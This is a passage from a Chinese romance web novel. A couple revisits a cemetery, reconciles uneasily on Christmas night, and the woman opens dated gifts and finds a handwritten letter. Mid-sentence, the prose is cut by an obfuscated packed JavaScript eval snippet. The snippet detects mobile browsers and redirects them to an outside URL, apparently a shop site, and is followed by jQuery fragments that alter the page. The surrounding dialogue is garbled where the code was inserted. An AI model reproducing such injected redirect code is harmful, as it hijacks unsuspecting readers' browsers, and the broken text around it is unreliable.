路程骁再次开口，声音平静得像在叙述别人的故事，


    “但现在站在这里，看着他们，我突然觉得……也许没有谁对谁错。在那个时候，以我们的性格，我们的处境，做出那样的选择，几乎是……必然的。就像两条急流撞在一起，除了互相伤害，卷起泥沙，似乎也没有别的路可走。”


    他转过头，深深地看着叶清棠，目光像要望进她灵魂深处。


    “我只是后悔，后悔用了最糟糕的方式去爱你，把爱变成了囚笼和利刃。我后悔……没有在更早的时候，学会像现在这样，只是握着你的手，站在你身边。”


    叶清棠的睫毛颤了颤，上面凝结了细小的霜花。


    她没有说话，只是将被他握着的手指，轻轻回握了一下。


    那力道很轻，却像一道微弱的电流，瞬间传遍了路程骁的四肢百骸。


    他没有再追问“你原谅我了吗”或者“我们能重新开始吗”这样的话。


    有些答案，不在言语里，而在细雪落满肩头的静谧中，在交握的、逐渐回暖的指尖，在并排的、指向未来的脚印里。


    “冷吗？”他问，抬手将她大衣的领子拢了拢，拂去她发梢的雪花。


    叶清棠摇摇头，终于抬眼看向他。


    她的眼睛很清澈，映着雪光，也映着他的影子。


    “回去吧，”她说，


    “雪好像下大了。”


    “好。”


    路程骁最后看了一眼那三座墓碑——属于过去的，属于遗憾的，属于执念的。


    然后，他牵紧叶清棠的手，转过身，沿着来路，一步一步，朝着墓园外走去，将那片承载了太多沉重往事的静谧白雪，留在了身后。


    雪越下越大，很快将他们新留下的脚印也温柔掩去。


    回程的车上，暖气开得很足。


    叶清棠靠在车窗边，看着外面飞速后退的、被雪包裹的静谧世界。


    路程骁专注地开着车，一只手却始终伸过来，覆在她的手背上。


    没有激烈的告白，没有痛哭流涕的和解，甚至没有一句明确的“我们和好了”。


    但有什么东西，确实不一样了。


    那些横亘在他们之间的尖锐的恨、噬骨的悔、对无辜生命的歉疚，并没有消失，但似乎被这场大雪，被那片墓园的寂静，沉淀了下去，化作了心底一块沉重却不再流血的基石。


    车子驶回公寓楼下。


    路程骁停好车，绕过来替她打开车门，很自然地伸出手。


    叶清棠看着他那双骨节分明、带着薄茧的手，迟疑了一瞬，然后将自己的手放了上去。


    他的手心温暖干燥，稳稳地包裹住她的。


    雪还在下，落在他们的头发上，肩膀上。


    他们谁也没有急着去拍落，就这样牵着手，慢慢走进温暖的楼道，将那片无垠的、洁净的雪白，关在了门外。


    屋内，圣诞树上的彩灯静静闪烁着温暖的光芒，壁炉里的火焰发出轻微的噼啪声。


    食物的香气还未完全散去，混合着松木和蜡烛的味道，是一种实实在在的、属于“家”的安宁。


    路程骁帮她脱下大衣挂好，自己也脱下外套。


    他走到壁炉前，拿起火钳拨了拨木柴，让火焰燃得更旺一些。


    然后，他转过身，看着安静地站在客厅中央的叶清棠。


    他走过去，在她面前停下，没有拥抱，没有亲吻，只是伸出手，用指背极其轻柔地，蹭了蹭她冰凉的脸颊。


    “还疼吗？”


    他问。问的是经期，是旧伤，是心口那道陈年的、今日被重新检视的疤痕，还是别的什么，或许连他自己也说不清。


    叶清棠看着他，看着这个曾经让她恐惧入骨、怨恨入髓，却也曾在战火中一次次为她奔来、在生死关头死死抓住她的男人。


    看着他眼中那份沉淀下来的、不再咄咄逼人的深情，和那深不见底的疲惫与温柔。


    良久，她极轻地摇了摇头，将脸颊更贴近了他温热的掌心。


    窗外，圣诞夜的雪，无声地覆盖了整个城市。


    而屋内，似乎有什么其他的在融化。


    看着熊熊燃烧的壁炉，叶清棠忽然轻声问路程骁：


    “哥哥，我们能不能回到最开始？”


    路程骁有些不明白：“最开始？”


    叶清棠：“当年刚刚见面的时候。”


    “...”路程骁不太理解，“你咬我的时候？”


    “这么多年，我累了。”叶清棠目光如水，眼睛里泛着清波。


    她莹润双眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427598|200714||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    已经平和，“分分合合这么多年，闹了这么多年。”


    路程骁有些紧张：


    “你还是记恨我吗？”


    “没有，不恨了，但也真的很难爱下去。”


    叶清棠垂着眼帘，神色游离了片刻，“我们回家吧。”


    她有心理准备面对路程骁或是指责，或质问，又或者歇斯底里。


    但都没有。


    她只有惋惜。


    路程骁知道，他们到头了。


    这个孩子横亘在两人中间，像是过不去的坎儿。


    新年钟声敲过第十二下，余音在寂静的雪夜里悠悠散去。


    壁炉里的火还在尽职地燃烧，发出令人安心的哔啅声。


    圣诞树上的彩灯已经关了，只剩下装饰球和金属丝在炉火的映照下，流淌着温暖而黯淡的光泽。


    满地的礼盒，像一片沉默的、色彩斑斓的岛屿，簇拥着树根。


    叶清棠盘腿坐在厚厚的地毯上，怀里抱着一个天鹅绒的抱枕。


    她看着那堆礼物，看了很久，然后伸出手，拿起了最上面的一个。


    那是一个很小的、深蓝色丝绒盒子，系着银色的细带。


    标签上没有写“圣诞快乐”，也没有写“新年快乐”，只有一行打印的小字，是她离开京北、飞往赞比亚那天的日期。


    她解开丝带，打开盒子。里面静静躺着一枚胸针。


    不是什么昂贵的珠宝，是手工烧制的琉璃，做成了一片小小的、舒展的棠叶形状，叶脉清晰，颜色是那种初春嫩芽将舒未舒的、带着鹅黄的绿。


    在炉火的微光里，它温润地闪着光。


    叶清棠拿起它，指尖拂过冰凉的琉璃表面。


    一个接一个的礼盒被拆开。


    每一个都对应着她离开后，一个具体的日期，一件看似不起眼、却精准对应她彼时生活片段的礼物：抵御沙漠寒夜的羊绒围巾，她提过早已停产的香水小样，保护听力的专业降噪耳塞，甚至有一小罐来自她家乡、手写了保质期的辣椒酱……直到最后那个最大的盒子。


    里面没有礼物，只有一封信。


    不是电子邮件的打印稿，是手写的，用厚实的米白色信纸，路程骁的字迹力透纸背，却少了平日的凌厉，多了几分滞涩。